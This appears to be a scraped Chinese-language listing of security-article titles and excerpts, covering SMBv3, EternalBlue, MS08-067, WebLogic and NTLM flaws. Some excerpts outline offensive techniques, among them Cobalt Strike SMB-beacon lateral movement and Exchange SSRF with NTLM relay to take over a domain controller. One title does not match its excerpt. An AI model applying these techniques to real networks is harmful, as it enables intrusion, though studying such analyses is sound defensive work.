  • 高清還原漏洞——被微軟發布又秒刪的遠程預執行代碼漏洞CVE-2020...
    12日微軟發布安全公告聲稱Microsoft 伺服器消息塊 3.1.1 (SMBv3) 協議處理某些請求的方式中存在遠程執行代碼漏洞。成功利用此漏洞的攻擊者可以獲取在目標伺服器或客戶端上執行代碼的能力。要利用針對伺服器的漏洞,未經身份驗證的攻擊者可以將特製數據包發送到目標 SMBv3 伺服器。要利用針對客戶端的漏洞,未經身份驗證的攻擊者將需要配置惡意的 SMBv3 伺服器,並說服用戶連接到該伺服器。此安全更新通過更正 SMBv3 協議處理這些特製請求的方式來修復此漏洞。
  • Ripple 20:Treck TCP/IP協議漏洞技術分析
    Ripple20是一系列影響數億臺設備的0day(19個),是JSOF研究實驗室在Treck TCP/IP協議棧中發現的【1】,該協議棧廣泛應用於嵌入式和物聯網設備。而由於這些漏洞很底層,並且流傳版本很廣(6.0.1.67以下),通過供應鏈的傳播,使得這些漏洞影響十分廣泛和深遠。
  • CS 4.0 SMB Beacon
    註:bind_pipe 是 CS SMB 協議 payload 的名字。監聽器名稱為 smbPipename 管道名稱為 test可以注意到這個 SMB 監聽器並沒有讓我們指定埠0x03 主機3 - link 連結對於主機3(172.31.51.192),我想從主機2 (172.31.51.190)走 SMB 協議橫向過去。
  • 主機漏洞利用原理及演示
    MS08-067原理簡介  MS08-067漏洞是通過MSRPC(Microsoft Remote Procedure Call遠程進程調用)over SMB(ServerMessageBlock協議,作為一種區域網文件共享傳輸協議,常被用來作為共享文件安全傳輸研究的平臺)通道調用Server服務程序中的NetPathCanonicalize函數時觸發的,而NetPathCanonicalize
  • wireshark使用及實列分析
    ,對wireshark數據包分析不太熟悉,特此學習記錄一下。tcp.srcport == 80, 只顯示TCP協議的源主機埠為80的數據包列表。tcp.dstport == 80,只顯示TCP協議的目的主機埠為80的數據包列表。
  • CVE-2020-2555:WebLogic RCE漏洞分析
    轉載:nosec 作者:iso600010x00 前言不安全的反序列化漏洞已經逐漸成為攻擊者/研究人員在面對Java Web應用時尋找的目標。這些漏洞通常能得到可靠的遠程代碼執行(RCE)效果,並且修復起來比較困難。
  • 燕山大學與華為籤署全面合作協議
    10月11日,燕山大學與華為技術有限公司(以下簡稱「華為」)在2019中國國際數字經濟博覽會上簽署全面合作協議。雙方將圍繞國家創新發展戰略,在聯合科研創新、人才培養與交流、智慧校園建設等方面開展深層次合作。
  • 【原創】WannaCry勒索軟體中「永恆之藍」漏洞利用分析
    WannaCry 勒索軟體中,利用了 NSA 洩露工具中的「永恆之藍」漏洞,關於這個漏洞,之前已經有一些分析,在我看的文章中,http://blogs
  • Windows內網協議學習NTLM篇之NTLM基礎介紹
    第1篇文章也是本文,這篇文章主要簡單介紹一些基礎概念以及引進一些相關的漏洞,比如Pass The Hash以及ntlm_relay。其餘三篇文章的內容全部都是講ntlm_relay,這個安全問題是ntlm篇的重點內容。第2篇文章主要講觸發windows向攻擊者發起ntlm請求的一些方式,比如大家耳熟能詳的印表機漏洞。
  • 兩大智能合約籤名驗證漏洞分析
    可重入(Reentrancy)或整數溢出漏洞,是大多數開發人員知道或者至少聽說過的,關於智能合約當中容易出現的安全問題。另一方面,在考慮智能合約的安全性時,你可能不會立即想到針對密碼籤名實現的攻擊方式。它們通常是與網絡協議相關聯的。
  • 大數據的隱憂:「劍橋分析」根據數字痕跡測試人格
    國家信息安全漏洞共享平臺上周共收集、整理信息安全漏洞487個,網際網路上出現「Joomla! Ek Rishta SQL注入漏洞、Seagate BlackArmor NAS遠程代碼執行漏洞」等零日代碼攻擊漏洞,上周信息安全漏洞威脅整體評價級別為中。中國電子銀行網為您梳理過去一周的信息安全行業要聞,告警重要漏洞並推出技術觀瀾,深入探討信息安全知識。
  • SUMAP網絡空間測繪|2021年CVE漏洞趨勢安全分析報告
    對於今天的網際網路安全我們更需要通過模型監測方式來持續觀察漏洞趨勢和影響範圍,才能持續應對漏洞爆發之後的安全趨勢分析評估。 本文主要通過網絡測繪角度手機各種資產協議的版本號信息,通過比對cve漏洞影響範圍中的版本號方式進行安全風險趨勢分析,無任何實際危害網際網路行為。資產在攜帶版本中也會存在修復補丁後版本不變的情況。
  • Android DropBox SDK漏洞(CVE-2014-8889)分析
    0x00 前言本文是對IBM ISS安全團隊對DropBox SDK漏洞詳細分析的翻譯。
  • 利用 Exchange SSRF 漏洞和 NTLM 中繼淪陷域控
    [1] 的文章(中文翻譯[2]),讓我眼前一亮,後來又在微博看到有大佬復現了這個漏洞,於是我也決定試試。上文中的漏洞利用思路按照我的理解可以匯總成一句話就是:在Exchange 在域內具有高權限的前提下條件下,利用 Exchange 的跨站請求偽造漏洞進行 NTLM 中繼攻擊,修改域 ACL 使普通用戶具有域管理員同等級別的權限這篇文章的利用手法和其他網上很多方法不同的點在於,對 SSRF 漏洞進一步利用達到了拿到域控的目的,
  • 白帽子黑客教你:如何判斷你的計算機是否存在永恆之藍漏洞?
    一、背景介紹永恆之藍是指2017年4月14日晚,黑客團體Shadow Brokers(影子經紀人)公布一大批網絡攻擊工具,其中包含「永恆之藍」工具,「永恆之藍」利用Windows系統的SMB漏洞可以獲取系統最高權限。